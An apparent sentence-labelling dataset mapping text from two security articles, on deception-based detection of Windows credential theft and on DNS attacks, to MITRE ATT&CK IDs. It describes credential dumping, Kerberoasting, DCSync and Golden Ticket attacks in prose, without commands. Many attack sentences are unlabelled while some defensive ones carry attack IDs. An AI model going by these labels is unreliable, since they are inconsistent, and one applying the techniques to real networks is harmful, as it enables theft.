{"sentence": "Microsoft has documented multiple ways to configure additional LSASS process protection which can prevent credentials being compromised.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The SAM database file is in %SystemRoot%system32/config and the hashes of the credentials are within the registry HKLM\\SAM.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers need to acquire elevated privileges to be able to access the credentials from the SAM database.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The example below demonstrates how the credentials from the SAM database can be revealed through a simple Meterpreter session.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 5 – Dumping SAM database Stealing Credentials from Windows Credential Manager (CredMan) Windows Credential Manager stores the Web and SMB/RDP credentials of users if they choose to save them on the Windows machine, thereby preventing the authentication mechanism from asking for those passwords again on subsequent logins.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Consequently, any process running in the context of the logged in user will be able to decrypt the credentials using CryptUnProtectData DPAPI.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In the domain environment, these credentials can be used by attackers to pivot to other systems in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Data Protection APIs provide the cryptographic functionalities that can be used to securely store credentials and keys.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These APIs are used by several other Windows components like browsers (IE/Chrome), certificates and many other applications as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 6 – Dumping browser credentials DPAPI can be abused in multiple ways.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In the Active Directory domain joined environment, if other users have logged into the compromised machine, provided a malware is running with escalated privileges, it can extract other user’s master keys from the LSASS memory which can then be used to decrypt their secrets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 7 – Extracting DPAPI Master Key Malware also tends to use multiple variants of credential enumeration APIs available within Windows.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is one instance of the malware using CredEnumerateW API to retrieve credentials and then search for terminal services passwords which It would use to pivot to other systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 8 – Extracting credentials using Windows API Stealing Service Account Credentials Through Kerberoasting In the domain joined environment, the Kerberos protocol has a significant role to play with respect to authentication and requesting access to services and applications.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It provides Single-Sign-On functionality for accessing multiple shared resources within the enterprise network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The Kerberos authentication mechanism in Active Directory involves multiple requests and responses like Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) supported by a Key Distribution Server (KDC), usually a Domain Controller.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Upon successful authentication, a user will be able to access the respective services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These SPN values are used by Kerberos to map the instance with the logon account allowing the client to authenticate to the respective service.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Well known SPN values are listed out here.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Details on how the SPN values are registered and used in Kerberos authentication is documented here.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This ticket can be extracted from the memory and can be brute forced offline to acquire service account credentials, allowing a domain user to gain admin level access to the service.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Kerberoasting is a well-documented attack technique listed in MITRE ATT&CK and it essentially abuses the Kerberos authentication allowing adversaries to request the TGS Tickets for the valid service accounts and brute force the ticket offline to extract the plain text credentials of the service accounts, consequently enabling them to elevate their privileges from domain user to domain admin.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "A simple PowerShell command after importing the Active Directory PowerShell module, as shown below, can initiate the LDAP query to get information about all the user accounts from the Domain Controller with the SPN value set. Figure 9 – PowerShell command to generate LDAP query Attackers can specifically choose to scan the domain for MSSQL service with the registered SPN value used for Kerberos authentication.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "PowerShell scripts like GetUserSPNs can scan all the user SPNs in the domain or MSSQL service registered in the domain with Discover-PSMSSQLServers or Invoke-Kerberoast scripts.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 10 – Kerberoasting PowerShell script output Once an attacker has the SPN value of the SQL service, a Kerberos Ticket Granting Service Ticket request (TGS-REQ) can be initiated to the domain controller with the SPN value.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stealing Credentials from Active Directory Domain Service (ntdis.dit) File As indicted earlier, once an attacker has penetrated the domain network, it will be natural to progress towards targeting critical assets, such as the Active Directory controller.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The Ntds.dit file is the authoritative store of credentials for all the users in the domain joined environment, storing all the information about the users, groups and memberships, including credentials (NT Hashes) of all the users in the domain with historical passwords and user’s DPAPI backup master keys.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "An Attacker with domain admin rights can gain access to the Domain Controller’s file system and acquire credentials like hashes, Kerberos tickets and other reversibly encrypted passwords of all the users joined in the domain by dumping and exfiltrating the Ntds.dit file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Multiple techniques can be used to dump the Ntds.dit file from the Domain Controller locally as well as remotely and extract the NTLM hashes/DPAPI backup keys for all the domain joined users.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "One of the techniques is to use the Volume Shadow Copy Service using the vssadmin command line utility and then extract the Ntds.dit file from the volume shadow copy as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 12 – Dumping Volume shadow copy for C drive Sensitive data on Active Directory is encrypted with the Boot Key (Syskey) stored in the SYSTEM registry hive and dumping the SYSTEM registry hive is a prerequisite as well to be able to extract all the credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Publicly available Active Directory auditing frameworks like DSInternals provide PowerShell cmdlets to extract the Syskey from the SYSTEM registry hive and extract all the credentials from the Ntds.dit file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Ntds.dit can also give access to the powerful service account within the Active Directory Domain, KRBTGT (Key Distribution Centre Service account).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Acquiring the NTLM hash of this account can enable the attacker to execute a Golden Ticket attack leading to complete domain compromise with unrestricted access to any service on the domain joined system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "By impersonating the Domain Controller, the attacker could acquire the NTLM hash of the KRBTGT service account, enabling them to gain access to all the shared resources and applications in the domain joined environment.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To be able to execute this credential stealing technique, an attacker would have to compromise the user account with the required permissions, specifically DS-Replication-Get-Changes and DS-Replication-Get-Changes-All, as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential dumping tools like Mimikatz do this by enumerating all the user logon sessions and replacing the user credentials with the stolen usernames and NTLM hashes provided, in the current logon session.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Behind the scenes, this is executed by duplicating the current process’s access token, replacing the user credentials pointed by duplicated access token and subsequently using the modified access token to start a new process with the stolen credentials which will be used for network authentication.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This is as shown below for example user “DCPrivUser”.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers can now initiate the AD user objects Replication request to the Domain Controller using Directory Replication Services Remote Protocol (DRSUAPI).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Attackers would usually target the KRBTGT account since acquiring the NTLM hash of this account will enable them to execute a Golden Ticket attack resulting in unrestricted access to domain services and applications.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 15 – DCSync Attack As indicated earlier, with the NTLM hash of the KRBTGT account, adversaries can initiate a Golden Ticket attack (Pass-the-Ticket) by injecting the forged Kerberos tickets into the current session which can be used to authenticate to any service with the client that supports pass the ticket (for instance, sqlcmd.exe connection to DB server, PsExec, etc.)", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 16 – Golden ticket with forged Kerberos ticket Detecting Credential Stealing Attacks with Network Deception", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The credential theft techniques we discussed in the previous sections are just the tip of the iceberg.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Adversaries can use many other sophisticated credential stealing techniques to take advantage of system misconfigurations and legitimate administrative tools and protocols and, at the same time, remain undetected for a longer period.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Perimeter solutions have their limitations in terms of visibility once the attacker crosses the network boundary and is inside the domain environment.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It is extremely critical for organizations to protect and monitor critical network assets like the Domain Controller, Database server, Exchange Servers, build systems and other applications or services, as compromising these systems will result in significant damages.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Therefore, enterprise networks must deploy a solution to detect credential stealing attacks as they can be used to pivot to other systems on the network and move laterally once an attacker establishes an attack path to a high value target.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "If the deployment of a solution within the critical zones of the network can detect the use of stolen credentials before adversaries can reach their target, the critical assets could still be prevented from being compromised.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception is one such deployment within the domain environment where, using the MITRE Shield techniques like decoy systems and network, decoy credentials, decoy accounts, decoy contents, could potentially help detect lateral movement early in the adversary’s attack path to the target asset and at the same time, report significantly low false detection rates.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As shown in the figure below, Network Deception consists of authentic looking decoy systems placed within the domain network, specifically in the network where the critical assets are placed.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy systems (could be virtual machines) are the full-fledged OS with configured applications or services and could be replicating the crucial services like Domain Controller, Exchange or DB server and other decoy machines that could lead to those systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The image below highlights the key foundational aspects of the Network Deception Figure 17 – Network Deception Key Aspects of Network Deception As visualized in the figure above, Network Deception comprises the following key basic facts with respect to the deployment in the domain joined environment: As a part of deployment, decoy/deceptive machines are planted within the network alongside production systems and critical assets.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy systems could be real systems or virtual systems with production grade operating systems with the required setup to make them blend well with real systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As one of the key aspects, deceptive machines are configured to lure attackers towards the decoy services instead of the production services, thereby deflecting or misleading the attacker’s lateral movement path to the target asset.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Many of the decoy machines could replicate critical services like Domain Controller, DB servers, Exchange/SharePoint servers and other critical services or applications within the data center.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Any legitimate domain user should not be generating traffic to or communicating with the configured decoy machines unless there are some misconfigurations in the network, which need to be corrected.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Basic Decoy Network Setup Since credential theft plays an important role in a successful targeted attack, deception essentially focuses on planting fake credentials on the production and decoy endpoints at multiple places within the OS and monitoring the use of these credentials to pivot to other systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With respect to the network setup, the following are the key aspects, however this list is not exhaustive, and much more could be added: Replicating critical network assets and services with decoy machines: Replicating critical network services like Active Directory, DB services, etc., will make more sense since these are the most targeted systems in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The decoy Active Directory should be configured with deceptive AD objects (users, groups, SPNs, etc.).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "with deceptive contents for other replicated services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Planting authentic looking decoy machines in the production network: As indicated earlier, these decoy machines could be real or virtual machines with the production grade OS placed alongside production systems in the critical infrastructure to blend in well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Injecting deceptive credentials on production endpoints: Production endpoints should be injected with deceptive credentials at multiple places like LSASS process memory, Credential Manager, browser credentials, etc., to increase the possibility of these credentials being picked up and used to pivot to decoy systems in the network.", "labels": ["T1055", "T1078"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These endpoints could be public facing machines or their replicas as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Mark decoy systems as “NO LANDING ZONE”: One of the key deployment aspects of deception is to mark all the decoy systems and services as “NO LANDING ZONE”, essentially meaning no legitimate domain users should be accessing decoys and any attempts to access these systems should be closely monitored.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Some of the other setup required for effective deployment of deception is as summarized below: Figure 18 – Deceptive network setup – Basic requirements Basic Decoy Systems Setup To detect the use of deceptive credentials, setting up decoy machines is an essential part of the solution as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Primarily, decoy machines should enable the access attackers are looking to have during the lateral movement phase.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Decoys should also be configured to enable relevant auditing services to be able to generate events.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "For instance, the following enables the account logon events to be audited: Decoy machines must be setup to run the log collector agent that can collect the access logs generated and forward them to the correlation server.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "However, in the domain joined environment, it is also essential to tune the decoy machines to forward only the relevant logs to the correlation server to minimize false positives.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The following sections describe some examples of how deception can be achieved in the domain network, along with a visualization of how credential theft can be detected.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception – Example 1: Injecting NETONLY credentials into LSASS process memory LSASS process memory is one of the prime targets for attackers, as well as malware armed with lateral movement capabilities since it caches a variety of credentials.", "labels": ["T1003.001", "T1055"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential extraction from the LSASS process requires opening a read handle to the process itself which is closely monitored by EDR products but there are stealthier ways around it.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "One of the primary tasks towards achieving credential-based deception is to stage the deceptive credentials in LSASS process memory.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This can be accomplished on the production and decoy systems by executing a trivial credential injection code which uses the CreateProcessWithLogonW Windows API with the specified crafted credentials.", "labels": ["T1106"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The below shows the example code calling the API with the specified credentials which is also visible when credentials are extracted with Mimikatz.", "labels": ["T1003.001", "T1106"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 20 – Injecting credentials into LSASS memory One of the parameters to CreateProcessWithLogonW is “dwLogonFlags” which should be specified as LOGON_NETCREDENTIALS_ONLY as shown in the code above.", "labels": ["T1055"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is a code snapshot from credential extraction tool Mimikatz, using a similar approach to forge a logon session and replacing the credentials with the supplied ones while executing Pass-the-Hash attacks.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 21 – Mimikatz code for PTH attack Network Deception – Example 2: Configure deceptive hostnames for decoy VMs Attackers or malware moving laterally inside the network might do a recon for interesting hostnames via nbtstat/nbtscan.", "labels": ["T1082"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To deflect the lateral movement path, decoy systems can be configured with real looking hostnames that match the production systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These hostnames will then be visible on NetBIOS scans as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These decoy systems can also run the relevant client applications pointing to the decoy services, with authentication directed to the decoy Domain Controller in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "For instance, Chrome saves the credentials in the SQLite format on the disk which can be decrypted using DPAPI as discussed earlier sections.", "labels": ["T1140"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The below examples demonstrate deceptive browser credentials which can lure adversaries towards the decoy services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 24 – Inserting deceptive browser credentials", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In addition to some of the techniques discussed above, and many others highlighted in the previous sections, setting up deception involves much more advanced configuration of decoy systems to minimize false positives and needs to be tuned to the environment to accurately identify malicious activities.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Deception can also be configured to address multiple other phases of lateral movement activity including reconnaissance and target discovery, essentially redirecting the adversaries and giving them a path to the target.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Below is a high-level visualization of how the decoy network can look like the domain environment.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "If an authentication is attempted and any of the decoy systems are accessed and logged on, the use of these planted deceptive credentials should be a red flag and something which must be investigated.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The visualization below shows the flow and an event being sent to an administrator on accessing one of the decoy systems.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1003.002 SAM Database Accessing credentials from SAM database requires SYSTEM level privileges.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stores credentials for all the local user accounts on the machine.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1003.006 DCSync Attacker can extract the credentials from the DC by impersonating the domain controller and use DRSUAPI protocol to replicate credentials from DC.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "T1558.001 Golden Ticket Attackers acquiring credentials for KRBTGT account can forge the Kerberos ticket called Golden Ticket, allowing them to get unrestricted access to any system in the domain T1558.002 Silver Ticket Allows attacker to get admin level access to the service accounts by abusing Kerberos authentication T1558.003 Kerberoasting Allows attackers to extract the Kerberos tickets for service accounts from memory and brute force offline to get credentials Conclusion As credential theft attacks play a significant role in an attacker’s lateral movement, so as in-network defense for the defenders.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In–network defense strategies like Deception could prove to be a promising and forward-looking approach towards detecting and mitigating data theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Strategic planting of decoy systems within the production network, inserting decoy credentials and decoy contents on calculative selection of endpoints and decoy systems and accurately setting up the logging and correlation via SIEMs for monitoring the use of decoy contents, could certainly detect and mitigate the attacks early in the lateral movement life cycle.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "For instance, one of the ways UEBA solutions could prove useful is to baseline user behavior and monitor access to credential stores on the system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "UEBA/EDR could raise the red flag on injection of forged Kerberos tickets in the memory.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This can provide user level visibility to a greater extent when integrated with SIEM, playing a crucial role in mitigating credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The Domain Name System (DNS) translates domain names into IP addresses.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Every device and website has an IP address that other devices, websites, and online services use to communicate with it.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "When we want to visit Google, we simply type the domain name into our browser’s address bar, and the DNS service translates the user-entered domain name “google.com” into the corresponding IP address that a computer uses.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "If the DNS becomes unavailable, internet programs will no longer function.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS attacks refer to any attack that targets the stability and security of the DNS infrastructure.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "They commonly aim to render the DNS unavailable or intercept and alter the answers provided by the DNS, directing unsuspecting users to malicious websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS infrastructure contains two components — authoritative and recursive DNS servers — and both are open to attack.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Below, we’ll explore the most common attacks against DNS and review mitigation strategies to avoid them.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Crash course in DNS attacksThere are several types of DNS attacks, each function differently, have unique impacts, and require specific countermeasures.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "SpoofingDNS spoofing occurs when threat actors alter the legitimate DNS server records to redirect users to fraudulent websites instead of their intended destination.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Threat actors use this technique to steal the victim’s sensitive data or plant malware — like ransomware or keyloggers — on their victim’s device.", "labels": ["T1056.001"], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Check the website for the secure connection (padlock) symbol.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This symbol appears next to the address bar of the web browser.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "If there’s no padlock, this may indicate threat actors have mirrored the website for malicious purposes.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Enable the Domain Name System Security Extensions (DNSSEC) on the domain.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "These extensions add a layer of security by attaching a digital certificate signature to DNS information.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Cache poisoningIn this attack, the threat actor injects false DNS information into the DNS cache to force it to return incorrect information and direct users to malicious websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "For example, when a user requests to visit google.com, the poisoned DNS server returns the IP address of another website that could contain an exploit kit or phishing page.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS cache poisoning and spoofing are often used interchangeably in cybersecurity.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent a DNS poisoning attack, we should:Use DNSSEC, which uses public key cryptography.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This ensures that only a legitimate DNS nameserver answers a request with the correct DNS information.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Prevent local DNS servers from answering internet-based DNS queries — unless our DNS nameserver is registered with ICANN.DoS/DDoS/floodingDNS flooding is an attack by which malicious actors try to overwhelm DNS servers with false DNS requests to prevent them from serving legitimate requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "There are two types of DNS flood attacks: denial of service (DoS) flooding and distributed denial of service (DDoS) flooding.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "This technique is no longer effective because modern DNS servers have advanced technical specifications that one device cannot disrupt.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DDoS DNS flood attackThe DDoS DNS flood is the most effective attack mechanism wherein attackers use many devices to target one DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "In cybersecurity, a bot can refer to any computing device, for example, a laptop, workstation, or internet of things (IoT) device infected with malware and under a threat actor’s control.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "A collection of these bots is called a botnet.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Attackers commonly use networks of botnets containing thousands or millions of compromised devices that run malicious scripts.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "DNS floods are considered relatively modern, made widely possible by the increasing numbers of IoT devices worldwide.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Many IoT devices have poor security configurations, making them easy targets for hackers to control.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent DDoS and DoS flood attacks, we should:Use a DDoS mitigation service to prevent outside attackers from overwhelming our DNS servers with false requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Use one dedicated server as the authoritative name server and another as the DNS resolver.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Small and medium-sized organizations often use one server for multiple purposes, such as hosting applications and running the DNS service.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The authoritative server consumes resources (fills the server cache) in resolving these invalid requests, making it respond slowly to legitimate requests — and eventually stop responding altogether.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "To prevent the DNS NXD flood attack, we should:Conduct regular DNS audits.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Blocklist suspicious domain names and servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Temporarily blocklist a client’s IP address if it sends too many NXDomain requests.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Increase the Time to Live (TTL) on current DNS records to ensure that they’ll remain for an extended time in external DNS caches.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Amplification attacksThis is another DDoS attack that aims to prevent the target DNS server from serving legitimate DNS queries.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "In this attack, threat actors exploit open DNS servers to send multiple responses to the target server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "Threat actors initiate this attack by sending numerous DNS requests to the open DNS server using the target IP address as the source address.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
{"sentence": "The open DNS server returns the response to the requester (in this example, the target spoofed IP address).", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities  Snyk"}
